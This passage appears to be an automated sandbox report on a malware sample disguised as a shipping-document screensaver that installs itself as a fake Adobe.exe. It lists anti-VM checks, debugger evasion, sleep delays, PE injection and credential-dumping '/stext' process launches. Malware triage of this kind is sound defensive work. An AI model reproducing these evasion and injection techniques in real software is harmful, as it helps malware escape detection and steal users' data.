                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX

                  Malware Analysis System Evasion

                  barindex
                  Yara detected AntiVM3
                  Source: Yara matchFile source: Process Memory Space: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe PID: 7348, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7556, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7916, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 5592, type: MEMORYSTR
                  Delayed program exit found
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0040F7A7 Sleep,ExitProcess,3_2_0040F7A7
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeMemory allocated: 2D20000 memory reserve | memory write watchJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeMemory allocated: 3030000 memory reserve | memory write watchJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeMemory allocated: 2D20000 memory reserve | memory write watchJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeMemory allocated: 9410000 memory reserve | memory write watchJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeMemory allocated: A410000 memory reserve | memory write watchJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeMemory allocated: A620000 memory reserve | memory write watchJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeMemory allocated: B620000 memory reserve | memory write watchJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: C90000 memory reserve | memory write watchJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 2620000 memory reserve | memory write watchJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 4620000 memory reserve | memory write watchJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 8AE0000 memory reserve | memory write watchJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 6DF0000 memory reserve | memory write watchJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 9AE0000 memory reserve | memory write watchJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: AAE0000 memory reserve | memory write watchJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 1180000 memory reserve | memory write watchJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 2CE0000 memory reserve | memory write watchJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 1180000 memory reserve | memory write watchJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 8F50000 memory reserve | memory write watchJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 7280000 memory reserve | memory write watchJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 9F50000 memory reserve | memory write watchJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: AF50000 memory reserve | memory write watchJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: E60000 memory reserve | memory write watch
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 27A0000 memory reserve | memory write watch
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 47A0000 memory reserve | memory write watch
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 88B0000 memory reserve | memory write watch
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 98B0000 memory reserve | memory write watch
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 9AB0000 memory reserve | memory write watch
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: AAB0000 memory reserve | memory write watch
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: BB0000 memory reserve | memory write watch
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 25B0000 memory reserve | memory write watch
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 45B0000 memory reserve | memory write watch
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 8780000 memory reserve | memory write watch
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 6BC0000 memory reserve | memory write watch
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 9780000 memory reserve | memory write watch
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: A780000 memory reserve | memory write watch
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,6_2_0040DD85
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,3_2_0041A748
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 922337203685477
                  Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 922337203685477
                  Source: C:\ProgramData\Adobe\Adobe.exeWindow / User API: threadDelayed 452Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeWindow / User API: threadDelayed 9536Jump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeEvaded block: after key decisiongraph_3-47650
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeEvaded block: after key decisiongraph_3-47673
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeAPI coverage: 6.3 %
                  Source: C:\ProgramData\Adobe\Adobe.exeAPI coverage: 9.7 %
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe TID: 7368Thread sleep time: -922337203685477s >= -30000sJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exe TID: 7576Thread sleep time: -922337203685477s >= -30000sJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exe TID: 7660Thread sleep count: 452 > 30Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exe TID: 7660Thread sleep time: -1356000s >= -30000sJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exe TID: 7660Thread sleep count: 9536 > 30Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exe TID: 7660Thread sleep time: -28608000s >= -30000sJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exe TID: 7940Thread sleep time: -922337203685477s >= -30000sJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exe TID: 8164Thread sleep time: -922337203685477s >= -30000s
                  Source: C:\ProgramData\Adobe\Adobe.exe TID: 1396Thread sleep time: -922337203685477s >= -30000s
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,3_2_00409253
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,3_2_0041C291
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,3_2_0040C34D
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,3_2_00409665
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0044E879 FindFirstFileExA,3_2_0044E879
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,3_2_0040880C
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0040783C FindFirstFileW,FindNextFileW,3_2_0040783C
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,3_2_00419AF5
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,3_2_0040BB30
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,3_2_0040BD37
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_100010F1 lstrlenW,lstrlenW,lstrcatW,lstrlenW,lstrlenW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,5_2_100010F1
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_10006580 FindFirstFileExA,5_2_10006580
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_0040AE51 FindFirstFileW,FindNextFileW,6_2_0040AE51
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen,10_2_00407EF8
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 11_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen,11_2_00407898
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,3_2_00407C97
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_00418981 memset,GetSystemInfo,6_2_00418981
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 922337203685477
                  Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 922337203685477
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe, 00000003.00000002.2041417968.0000000001531000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\U
                  Source: Adobe.exe, 00000005.00000002.4500045437.0000000001437000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWx
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe, 00000003.00000002.2041417968.0000000001531000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}}
                  Source: Adobe.exe, 00000005.00000002.4500045437.00000000014B5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe, 00000003.00000002.2041417968.0000000001531000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}BBml
                  Source: bhvAA55.tmp.6.drBinary or memory string: https://config.edge.skype.com/config/v1/Skype/1446_8.53.0.77?OSVer=10.0.19045.2006&ClientID=RHTiQUpXOaQeBtbq%2B7LgJauNdx5lF%2FQ%2FOy2qwXRNGjU%3D&Manufacturer=VMware%2C%20Inc.&Model=VMware20%2C1&Language=en&Locale=en-US
                  Source: C:\ProgramData\Adobe\Adobe.exeAPI call chain: ExitProcess graph end node
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information queried: ProcessInformationJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,3_2_004349F9
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,6_2_0040DD85
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,3_2_0041CB50
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_004432B5 mov eax, dword ptr fs:[00000030h]3_2_004432B5
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_10004AB4 mov eax, dword ptr fs:[00000030h]5_2_10004AB4
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00412077 GetProcessHeap,HeapFree,3_2_00412077
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess token adjusted: DebugJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,3_2_004349F9
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00434B47 SetUnhandledExceptionFilter,3_2_00434B47
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0043BB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,3_2_0043BB22
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00434FDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,3_2_00434FDC
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_100060E2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,5_2_100060E2
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_10002639 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,5_2_10002639
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_10002B1C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,5_2_10002B1C
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeMemory allocated: page read and write | page guardJump to behavior

                  HIPS / PFW / Operating System Protection Evasion

                  barindex
                  Injects a PE file into a foreign processes
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeMemory written: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe base: 400000 value starts with: 4D5AJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory written: C:\ProgramData\Adobe\Adobe.exe base: 400000 value starts with: 4D5AJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeMemory written: C:\ProgramData\Adobe\Adobe.exe base: 400000 value starts with: 4D5A
                  Maps a DLL or memory area into another process
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: NULL target: C:\ProgramData\Adobe\Adobe.exe protection: execute and read and writeJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: NULL target: C:\ProgramData\Adobe\Adobe.exe protection: execute and read and writeJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: NULL target: C:\ProgramData\Adobe\Adobe.exe protection: execute and read and writeJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe3_2_004120F7
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00419627 mouse_event,3_2_00419627
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess created: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe "C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe"Jump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe" Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\sjwnfpnrxvemnctydvpmlfmrafenxb"Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\ddbggzyktewzxiicugbnokhajlwoymmlyl"Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\ddbggzyktewzxiicugbnokhajlwoymmlyl"Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\ddbggzyktewzxiicugbnokhajlwoymmlyl"Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\ddbggzyktewzxiicugbnokhajlwoymmlyl"Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\ffhrgs"Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                  Source: Adobe.exe, 00000005.00000002.4500045437.0000000001492000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager
                  Source: Adobe.exe, 00000005.00000002.4500045437.0000000001492000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerKl0
                  Source: Adobe.exe, 00000005.00000002.4500045437.0000000001492000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manageril^
                  Source: Adobe.exe, 00000005.00000002.4500045437.0000000001437000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: |Program Manager|
                  Source: Adobe.exe, 00000005.00000002.4500045437.0000000001492000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Managerclh
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00434C52 cpuid 3_2_00434C52
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: EnumSystemLocalesW,3_2_00452036
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,3_2_004520C3
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: GetLocaleInfoW,3_2_00452313
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: EnumSystemLocalesW,3_2_00448404
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,3_2_0045243C
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: GetLocaleInfoW,3_2_00452543
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,3_2_00452610
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: GetLocaleInfoA,3_2_0040F8D1
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: GetLocaleInfoW,3_2_004488ED
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,3_2_00451CD8
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: EnumSystemLocalesW,3_2_00451F50
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: EnumSystemLocalesW,3_2_00451F9B
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeQueries volume information: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe VolumeInformationJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
